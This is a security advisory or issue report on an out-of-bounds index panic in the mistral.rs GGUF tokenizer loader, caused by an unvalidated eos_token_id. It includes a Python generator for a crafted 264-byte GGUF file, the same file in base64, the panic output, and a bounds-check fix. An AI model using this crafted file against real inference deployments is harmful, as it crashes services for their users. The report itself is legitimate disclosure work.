Out-of-bounds index panic (DoS) via unvalidated GGUF token ID in mistral.rs tokenizer loader

[professor-moody]

Summary

When mistral.rs loads a GGUF model, convert_gguf_to_hf_tokenizer() reads the special token IDs
(eos_token_id, and optionally bos_token_id / unknown_token_id) directly from GGUF metadata and
uses them as indices into props.tokens — the vocabulary array — without checking that the IDs are in
bounds. A crafted GGUF whose eos_token_id exceeds the vocabulary length causes an out-of-bounds
array index, which in Rust is a deterministic panic (SIGABRT) during model load, killing the process.
eos_token_id is a required field on this path, so the indexing site is always reached when loading a
GGUF model that uses the embedded tokenizer.

Affected component

• Repository: EricLBuehler/mistral.rs (mistralrs-core crate)
• File: mistralrs-core/src/gguf/gguf_tokenizer.rs:143 —
  eos: Some(props.tokens[props.eos as usize].clone()). props.eos is an attacker-controlled u32
  read from tokenizer.ggml.eos_token_id; there is no bounds check against props.tokens.len()
  before indexing.
• Reachable from convert_gguf_to_hf_tokenizer() during GGUF model loading (embedded tokenizer, no
  external tokenizer.json).

Scope note: this issue claims only the primary eos index panic at :143. The advisory also lists
secondary panic sites (the optional bos/unk indexing, unigram_tokenizer(), bpe_tokenizer()
BPE-merge .expect(), and content.rs from_readers .expect()/.unwrap() paths); those were not
re-verified at the revalidated HEAD and are not claimed here.

Reproduction

PoC: findings/mistralrs/poc-081-mistralrs-gguf-oob.gguf (264 bytes). It declares a 1-token
vocabulary and sets tokenizer.ggml.eos_token_id = 4294967295 (u32::MAX), far out of range for a
1-token vocab.

import struct
def write_string(s):
    b = s.encode(); return struct.pack('<Q', len(b)) + b
def write_kv(key, vtype, value_bytes):
    return write_string(key) + struct.pack('<I', vtype) + value_bytes

magic = b'GGUF'; version = struct.pack('<I', 3)
kvs  = write_kv('general.architecture', 8, write_string('llama'))
kvs += write_kv('tokenizer.ggml.model', 8, write_string('llama'))
kvs += write_kv('tokenizer.ggml.tokens', 9,
                struct.pack('<I', 8) + struct.pack('<Q', 1) + write_string('<unk>'))
kvs += write_kv('tokenizer.ggml.scores', 9,
                struct.pack('<I', 6) + struct.pack('<Q', 1) + struct.pack('<f', 0.0))
kvs += write_kv('tokenizer.ggml.eos_token_id', 4, struct.pack('<I', 4294967295))
poc = magic + version + struct.pack('<Q', 0) + struct.pack('<Q', 5) + kvs
open('poc-081-mistralrs-gguf-oob.gguf', 'wb').write(poc)

Load the file through any mistral.rs GGUF model-load path that calls
convert_gguf_to_hf_tokenizer(). Observed:

thread panicked at gguf_tokenizer.rs: index out of bounds: the len is 1 but the index is 4294967295

(SIGABRT during convert_gguf_to_hf_tokenizer.)

Root cause

props.eos is read from GGUF metadata and used directly as an array index with no validation against
the vocabulary size:

// gguf_tokenizer.rs:143 (primary site)
eos: Some(props.tokens[props.eos as usize].clone()),  // panics if eos >= tokens.len()

Because eos_token_id is required on this path, the panic is always reachable for an embedded-tokenizer
GGUF; props.eos being attacker-controlled and unbounded makes the OOB index trivially triggerable.

Suggested fix

Validate all token IDs against the vocabulary size before indexing:

let vocab_len = props.tokens.len();
if props.eos as usize >= vocab_len {
    anyhow::bail!("GGUF eos_token_id {} out of range for vocab size {}", props.eos, vocab_len);
}
// apply the same check to bos / unk before indexing

Revalidation

Source-level revalidation on 2026-06-14 against mistral.rs HEAD eb31bf3: gguf_tokenizer.rs:143
still indexes props.tokens[props.eos as usize] with no bounds check on the attacker-controlled token
ID — the OOB-index panic is live.

Status: advisory drafted; re-routing to public issue + VulDB; revalidated 2026-06-14 source-level vs
mistral.rs HEAD eb31bf3.

Proof-of-concept files (base64)

Decode with base64 -d > file.

poc-081-mistralrs-gguf-oob.gguf (264 bytes):

R0dVRgMAAAAAAAAAAAAAAAUAAAAAAAAAFAAAAAAAAABnZW5lcmFsLmFyY2hpdGVjdHVyZQgAAAAFAAAAAAAAAGxsYW1hFAAAAAAAAAB0b2tlbml6ZXIuZ2dtbC5tb2RlbAgAAAAFAAAAAAAAAGxsYW1hFQAAAAAAAAB0b2tlbml6ZXIuZ2dtbC50b2tlbnMJAAAACAAAAAEAAAAAAAAABQAAAAAAAAA8dW5rPhUAAAAAAAAAdG9rZW5pemVyLmdnbWwuc2NvcmVzCQAAAAYAAAABAAAAAAAAAAAAAAAbAAAAAAAAAHRva2VuaXplci5nZ21sLmVvc190b2tlbl9pZAQAAAD/////